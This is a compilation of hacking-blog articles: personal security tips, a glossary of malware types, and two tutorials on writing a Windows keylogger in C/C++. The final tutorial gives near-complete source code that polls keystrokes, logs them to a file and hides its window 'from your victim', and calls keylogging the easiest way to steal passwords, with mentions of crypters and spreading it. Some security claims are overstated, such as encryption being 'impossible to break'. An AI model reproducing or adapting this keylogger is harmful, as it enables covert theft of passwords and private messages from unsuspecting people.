Keyloggers

How to Prevent Becoming the Victim of Another Hacker

Security is more important today than it has ever been in human history. It seems every week there are several new headlines regarding a firm that was razed to ground in light of a successful attack by hackers. Though these headlines merit plenty of attention, most people don’t realize that hackers target the common Internet user far more often than they do gigantic corporations. Whether you knew it or not, chances are a nefarious hacker somewhere on the Internet has had their eyes on your data at some point in your life.

Don’t believe me? Then believe Edward Snowden, who revealed how the NSA had been harvesting unbelievably massive stores of data from domestic US firms such as Google, Yahoo!, Microsoft, and others. That’s right – some of your data has likely already wound up somewhere on a storage server deep within the bowels of Ft. Meade due to their PRISM program. Countless attacks happen to regular people every single day, and the saddest part is that they could have been easily avoided. Understanding how to protect yourself from other hackers will make you a better hacker, because it will help you identify weak points in security. Let’s take a closer look at how you can better protect yourself from other hackers.

Password Security

Despite the warnings we’ve heard time and time again, you need to make sure that your passwords are 100% secure. It’s always best to store them in encrypted format, because they could easily be captured by a hacker if they are stored in plain text. Fortunately, software like KeePass will protect your passwords with incredibly strong encryption that is impossible to break. In addition, it will generate random passwords that are extremely complex, which brings me to my next point.

You can’t afford to use weak passwords anymore. Instead of using your birthdate, address, or the name of your dog as your password, it’s time to get more creative. Try to make passwords a minimum of 8 characters long (though they really should be longer), and you must make sure they contain lowercase letters, uppercase letters, numbers, and special symbols. Otherwise, chances are much higher that your password can be hacked with a dictionary based attack. While strong passwords can eventually be hacked with a brute force attack, they take much, much longer.

Stay Away from P2P

I can already hear all the Bit Torrent users groaning, but the fact is that P2P networks are incredibly unsecure. Even with a VPN tunnel, you still aren’t 100% safe. Without a VPN tunnel, other Bit Torrent users will be able to see your IP address, which by itself is incredibly unsecure. Bittorrent

But consider that you don’t always know if the file you’re downloading has been compromised. The integrity of files is easily compromised by hackers, who know how to slip code like viruses, Trojans, keyloggers, and other nefarious applications into Bit Torrent files to attack users. Even though prudent torrent users know to first scan downloaded files with antivirus software, they still aren’t perfect. If you really want to protect yourself from hackers that use P2P networks to facilitate their attacks, remember that an ounce of prevention is worth a pound of cure. Stay away from P2P networks.

Don’t Use the Internet without Encryption

I’ve got three letters for you: V-P-N. In the information age, everyone – and I mean everyone – should use a VPN tunnel every time they connect to the Internet. With exception to websites that only provide HTTPS connections, your data is frequently sent in plain text. This makes it tremendously easy for ISPs, governmental agencies such as the NSA, and all kinds of hackers to capture and read your data. The NSA has made statements in the past that claimed they only wiretap communications that are one end domestic and one end foreign in an attempt to combat terrorism. VPN

However, it seems that they were capturing domestic data as well by harvesting information from Google, Microsoft, Yahoo, and other popular technology companies. Though there is little we can do to prevent a cloud service provider from mishandling information, we certainly have the power to make our data impossible to read while it is in transit through the Internet.

Once your data is encrypted, it is impossible to read. But there are other benefits as well. VPN tunnel provide anonymity by masking your IP address, making it nigh on impossible for websites and online services to run audits that trace back to your unique IP address. Privacy is a large concern these days, and VPN tunnels will protect your data and your identity. Use them as much as possible!

Use Off-Shore Services in Countries without Governmental Surveillance

If you’re online storage provider or VPN provider is based in the United States, you really have no way of knowing for sure if the government has coerced the service provider into letting them steal your information. Though most VPN providers have no-logging policies, the government still may force them to forfeit information regarding user activities. The PRISM program by the NSA left people all around the world distrusting US-based services, and for good reason.

Final Thoughts

Most users don’t understand how to protect themselves from hackers, making it as easy as taking candy from a baby to steal personal information. Becoming a strong hacker means that you need to understand security, and the best ways to increase personal security and anonymity on the Internet include strong password creation, discretion downloading files from P2P networks, securing data with encryption, and using online services that are located outside the United States. If you fail to obey these basic principles, you make it that much easier to become hacked.

Types of Malware – Hacker’s Guide

Lot of users has requested us to list down all different types of malware used by hackers to hack victims. So today i will list down all malware types and will give a brief introduction about each malware type. This is very useful Hacker’s Guide because every hacker or penetration tester must know all different types of malware that is being used by hackers. As a penetration tester we have to perform static and dynamic malware analysis for forensics and in order to perform this correctly we must be aware with each and every malware.

Types of Malware

For example, when malware imports networking functions together with functions to edit the Windows registry and compression functions, we could be dealing with spyware or a Trojan which executes itself or other malware at start up. In the simplest case of statically imported DLL’s you can use an application like Dependency Walker to find out which functions are used in malware. Further inspection of the DLL’s, functions, PE headers and resources should narrow the possible kinds of malware a lot. Let’s continue to look at the different kinds of malware available and what they exactly do.

TYPES OF MALWARE – HACKERS MALWARE GUIDE :

VIRUS :

A virus is a malicious program which replicates itself into other applications, files or even the boot sector. A virus then can do anything it is programmed to like stealing information, log keystrokes or even render a computer useless. The defining characteristic of a virus lies in the self-replication and insertion of malicious code into other programs without user consent. Just like most other malware a virus is designed for seeking profit.

WORM :

A worm is a piece of malware that replicates itself in order to spread and infect other systems. Computer worms use the network, links, P2P networks, e-mail and exploit vulnerabilities to spread themselves. Often more than one wat is used to spread the worm. The difference with a virus is that a virus inserts code into other programs where a worm does not and replicates only itself. Worms do not necessarily contain a payload but most worms do. Worms can also be designed to only spread without a payload.

BACKDOOR :

A backdoor is a piece of malicious code which allows an attacker to connect to the infected target and take control of the target machine. In most cases there is no authentication required to log in the remote machine other than authentication methods required by the malware. A backdoor is often generated by a Trojan which goes unnoticed if the host has no effective detection mechanisms. Backdoors can use a lot of methods to communicate home. Also port 80 is commonly used by malware over the HTTP protocol because this port is open on most machines connected to the internet. We will discuss 2 kinds of backdoors; the reverse shell and the Remote Access/Administration Tool (RAT).

TROJAN :

A Trojan or a Trojan horse malware is a malicious program functioning as a backdoor. Just like the ancient Greek story of the wooden horse with Greek troops inside which was used to invade the city of Troy, a Trojan in computing tends to appear like a regular application, media or any other file but containing a malicious payload. Trojans are often spread through social engineering where the victim is fooled into executing the file or application with the Trojan. Most Trojans contain backdoors which can be used by the attacker to steal information, spread other malware or use the infected machine’s resources in a botnet. Literally anything is possible when infected with a Trojan which was installed or run with elevated privileges. Trojans have been around for a long time, a few popular Trojans are: Netbus, SubSeven or Sub7 and Back Orifice or BO in short.

RAT (Remote Access/Administration Tool) :

A Remote Access Trojan (RAT), or sometimes called a Remote Administration Tool or Remote Access Tool, is software which allows an attacker to take control of the infected host by the use of a backdoor. We’ll call it a Remote Access Trojan in this article to emphasize the maliciousness of this kind of RAT. We are talking about the malicious RAT’s and not the ones which are used by system administrators or software vendors for remote support and troubleshooting. Remote Access Trojans are often included with free software and send as attachment by e-mail.

ROOTKIT :

A rootkit is malicious software designed to conceal the existence of other malware. The concealed malware is often a backdoor to provide full access to the attacker or information stealing malware. Rootkits may be hard to detect and remove based on where the rootkit resides. Rootkits on firmware level for example may require hardware replacement and rootkits on kernel level may require a new installation of the operating system.

BOOTKIT :

Another dangerous and almost impossible to detect rootkit is the bootkit. The bootkit is a rootkit hidden in the boot sector that infects the Master Boot Record. This kind of rootkit is able to bypass drive encryption for example because the Master Boot Record (MBR) is not encrypted. The MBR contains the decryption software to decrypt the drive. A bootloader is a piece of codes which runs before the operating system does.

ADWARE or SPYWARE :

Adware as malware is malicious software which presents unwanted advertising to the user. This kind of malware often uses pop-up windows which cannot be closed by the user. Adware is often included with free software and browser toolbars. Malware which is also collecting user data, activity and other information for targeted advertising is called spyware.

BOTNET :

A botnet is a network of remote controlled private computers with backdoors which are being controlled by a command and control server. All infected hosts in the botnet are controlled as a group and receive the same instructions from the server which is controlled by the attacker. Botnets are often used to send spam, to perform distributed denial-of-service (DDoS) attacks or malware distribution.

REVERSE SHELL :

A reverse shell is a connection initiated from the infected host to the attacker and provides the attacker with a shell access to the host. The reverse shell is often created by a Trojan and functions as a backdoor on the infected host. After the reverse shell has been set up the attacker is able to execute commands as if they were executed locally. There are a couple ways for malware developers to set up a reverse shell. Commonly used methods for reverse shells are Netcat and Windows cmd.exe packaged inside malware. A simple method used by malware using the Windows CMD to set up a reverse shell is to create a socket to establish a connection to the attacker and than tying it to the standard streams (standard input, output and error) for cmd.exe. The cmd.exe is than run with suppressed window to hide it from the victim’s view and can than be used to execute commands on the infected host.

BROWSER HIJACKER :

A browser hijacker is a piece of malware developed to control your browser settings like the homepage for example, or the standard search provider. Browser hijackers are often included with free software and browser toolbars and may also contain adware and spyware. Some browser hijackers also change your browser’s proxy settings which compromises your online privacy and safety.

MALICIOUS DOWNLOADER :

Downloader Malware is malicious software which downloads other malicious software. Attackers often infect a machine with downloader malware when they have gained first access to the system. The downloader malware than infects the target machine silently with other malware.

INFORMATION STEALER’S :

Information stealing malware is a collection of malware types which are developed to steal information like credit card numbers, bank account details, account details and other personal information. The collected information is usually send to the attacker who often uses it to gain access to your personal account or to put it up for sale on the deep web. Information stealing malware often comes in the form as keyloggers, password (hash) grabbers and sniffers. The stolen information is often send to a command and control server for further processing.

KEYLOGGERS :

Keylogger malware is a malicious piece of software (or hardware) which records your keystrokes in order to retrieve passwords, conversations and other personal details. The recorded keystrokes are than send to the attacker. A keylogger is a very effective way for attackers to steal passwords because there is no need to crack hashes, decrypt information or to sniff secured connections for passwords.

RANSOMEWARE :

Technically speaking all malware which prevents a user from accessing the computer or files and demanding money in exchange for access is called ransom-ware. Ransom-ware often encrypts your hard drive or files and demands money in exchange for the decryption key. This kind of ransomware is also called a crypto locker. After infection the malware presents the user some payments methods which can be used to unlock the computer or decrypt the files. If the ransomware or crypto locker will actually unlock your hard drive or files, the decryption keys and payment are often controlled by a command and control server.

Ransomware has become increasingly popular over time because it is highly profitable for malware developers. Especially ransomware in combination with anonymous payments methods like bitcoin are making this kind of malware very profitable and lowering the risks of getting caught. Popular ransomware malware is: Cryptolocker, Cryptowall and Tox ransomware which is known as the first ransomware as a service available for everybody through the TOR network.

LAUNCHER :

A launcher is a piece of malicious software which is used to launch other malware. This piece of malware is often combined with downloader malware. The launcher malware often uses stealthy and unconventional methods to launch other malware to avoid detection.

SPAM SENDING MALWARE :

Spam Sending Malware is malware which uses the infected machine to send spam. The spam sending malware might be part of a botnet controlled by a command and control server functioning as a distributed spam sending network. Because of the distributed approach there is not a single point of failure, if ¼ of the infected machines are cleaned the other ¾ will keep sending spam mails. Big botnets can send billions of spam messages per week and very often new malware is spread together with the spam messages. Spam sending malware can get you into trouble because ISP’s cut off your internet connection or you e-mail address can be blacklisted so be sure to remove this kind of malware as soon as possible. This type of malware is profitable for malware developers because they can sell the spam sending services.

SCAREWARE :

Scareware is malicious software which forces the victim into purchasing something by frightening him or her. You might call it blackmailing malware too since it often includes embarrassing viruses or files. The most common scareware malware looks like a virus scanner which has detected some viruses which will be removed after the victim has purchased the virus scanner. In reality only the scareware will be removed (hopefully). Scareware often uses scare tactics which will embarrass the victim to avoid that the victim escalates the problem to a system administrator at work or call in professional help for virus removal for example. Because of these tactics a lot of victims will pay for the software to have the virus or other embarrassing materials removed silently. Scareware or blackmailing malware is just like ransomware, very profitable for malware developers.

Below are some symptoms to detect that you are infected by a malware :

While these types of malware differ greatly in how they spread and infect computers, they all can produce similar symptoms. Computers that are infected with malware can exhibit any of the following symptoms:

Increased CPU usage
Slow computer or web browser speeds
Problems connecting to networks
Freezing or crashing
Modified or deleted files
Appearance of strange files, programs, or desktop icons
Programs running, turning off, or reconfiguring themselves (malware will often reconfigure or turn off antivirus and firewall programs)
Strange computer behaviour
Emails/messages being sent automatically and without user’s knowledge (a friend receives a strange email from you that you did not send)

That’s it Guys!! This is complete list of different types of malware’s a every hacker or penetration tester should be aware of. KEEP LEARNING !! KEEP CONNECTED!!

How to code keylogger in C programming Language

How to code keylogger in C programming language: C codechamp has brought you a detailed tutorial on how to write a keylogger code in C programming. It captures all the keys and writes them to a file, such as log.txt, and stores it on the computer hard disk.

C program of keylogger or keystroke logger: Keylogger is a computer program which captures all the key strokes pressed by the user in real time. Sending these logs to emails or FTP address depends upon the type of keylogger: remote keylogger or physical keylogger. Physical keyloggers are useful when you have physical access to that system and can retrieve logs personally. While remote keyloggers can be used from anywhere in the world, it does require your victim to have an internet connection. Today we will be writing a C program of a physical keylogger or keystroke logger which requires physical access of the system. We will then extend our logic in further programs to make it a remote keylogger which sends logs to FTPs and emails directly. First, let’s see how a simple keylogger program works.

Keylogger

Algorithm for writing a simple keylogger:

1. Create an empty log file for storing keylogs.
2. Intercept keys pressed by user using GetAsyncKeyState() function.
3. Store these intercepted values in file.
4. Hide the Running Window Dialog to make it undetectable.
5. Use while looping to make it run in all conditions.
6. Add Sleep() function to reduce the CPU usage to 0%.

Now let us see the C program of keylogger or keystroke logger which intercepts all the keys pressed by the user and stores these pressed keys in log file.

C program of keylogger or keystroke logger:

#include<iostream>
#include<windows.h>
#include<fstream>
#include<time.h>
using namespace std;

int main()
{
 bool runlogger = true;
 ofstream log;
 //where your logs will be stored
 log.open("C:\log.txt", ofstream::out);
 //displaying error message when unable to open file
 if(log.fail())
  {
   printf("Error in opening log.txt filen");
   }
  //Code for hiding running dialog
  HWND hideIt = FindWindow("ConsoleWindowClass",NULL);
  ShowWindow(hideIt,0);
  //Logic for capturing keystokes ........
  ...................

To view the complete C program visit my website on C programming:

C Program of Keylogger

I hope you all enjoy it!

How to code Keylogger in C++ Stepwise by HackingLoops

Hello friends, today I am going to teach you How to Code Keylogger in C Stepwise. Most of us are aware of the functionality of keyloggers. If not, let me give you some brief information about what keyloggers are and why they’re so important to hackers.

Keylogger Code in C

What are Keyloggers?

Keyloggers, as the word itself suggests, function by logging or capturing keys or key strokes. Technically, a keylogger is a software tool or program which is used to capture key strokes that a user presses in real time. Further processing depends on the nature of the keylogger, whether it is a physical or remote keylogger. The technique of capturing key strokes is called keylogging. It’s hard to believe, but keylogging is the easiest method to hack someone’s password. All you need is a good keylogger, a good crypter, and the knowledge to spread your keylogger program. Thousands of keyloggers are available online for free, but all of these are either detectable by antivirus or, ironically, have a virus attached to hack the user. Clearly, we need to be cautious when using freely available keyloggers or cracked versions of paid keyloggers. But why should you become prey to other hackers when designing your own is damn easy? Most novice hackers or “script kiddies” think that coding a good keylogger is a difficult and tedious task but believe me, after reading this tutorial, it will become a routine task for you to code a keylogger. Today, I will teach you the inward and outward logic of keyloggers.

I have divided keylogger coding into a few parts to make it easier for Hackingloops users to properly understand. Let’s start by learning how to code keyloggers in C stepwise. As you all learned above, keyloggers capture keystrokes. There are several methods for capturing keys, such as capturing the keyboard API input and output: these are called API based keyloggers. You can also simply capture the keys after they get decoded by your OS. The hardware keyboard sends instructions to OS drivers, which decode every key pressed on the keyboard into useful alphabets.

Note: You can use Borland C compiler or Code blocks C compiler for coding, I usually prefer DEV C i.e. Borland C compiler.

Now, open any compiler and create a new project. Simply open a text file and name its “anything.cpp” (or anything that you wish).

So let’s start coding:

Step 1: Declaring header directives to include the standard functions

#include <iostream>
using namespace std; //used to avoid the compilation errors because of redefinition of variables.
#include <windows.h>
#include<winuser.h>

Right now we only need these three header directives. These are mandatory.

Step 2: Declaring global calls

int SaveLogs (int key_stroke, char *file);

void Stealth(); //Declare stealth function to make you keylogger hidden.

Step 3: Main Function (a mandatory field, this executes the complete code and separate functions or classes)

int main()
{
Stealth();       // This will call the stealth function.
char i;          //Here we declare ‘i’ from the type ‘char’

while (1)     // Here we say ‘while (1)’ execute the code.
{
for(i = 8; i <= 190; i )
{
if (GetAsyncKeyState(i) == -32767)
SaveLogs (i,”MYLOGS.txt”);    // This will send the value of ‘i’ and “MYLOGS.txt” to our SaveLogs function.
}
}
system (“PAUSE”); // Here we say that the systems have to wait before exiting.
return 0;
}

/************************************Separator********/

Step 4: Writing capturing keys logic

int SaveLogs (int key_stroke, char *file)   // Here we define our SaveLogs function.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, “a “);

    cout << key_stroke << endl;

        if (key_stroke == 8) // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]”);
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, “%s”, “n”);
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, “%s”, ” “);
        else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, “%s”, “[TAB]”);
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, “%s”, “[SHIFT]”);
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, “%s”, “[CONTROL]”);
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, “%s”, “[ESCAPE]”);
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, “%s”, “[END]”);
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, “%s”, “[HOME]”);
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, “%s”, “[LEFT]”);
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, “%s”, “[UP]”);
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, “%s”, “[RIGHT]”);
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, “%s”, “[DOWN]”);
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, “%s”, “.”);
                            else
                                fprintf(OUTPUT_FILE, “%s”, &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

/************************************Seperator********/

Step 5: Stealth function
This part of the code will help you hide your keylogger from your victim and keep the program window hidden.

void Stealth()

{

HWND Stealth;

AllocConsole();

Stealth = FindWindowA(“ConsoleWindowClass”, NULL);

ShowWindow(Stealth,0);

}

Step 6: Email Function

Will be explained later.

Compiling your code will generate one binary or exe file. That is your keylogger!

I hope you enjoyed the article. Step 6 is not disclosed because I want to explain the difference between a physical keylogger and a remote keylogger. You might have realized that this is a physical keylogger: you can only view data on the same machine on which the binary is running.

If you have any doubts, please ask in the comments.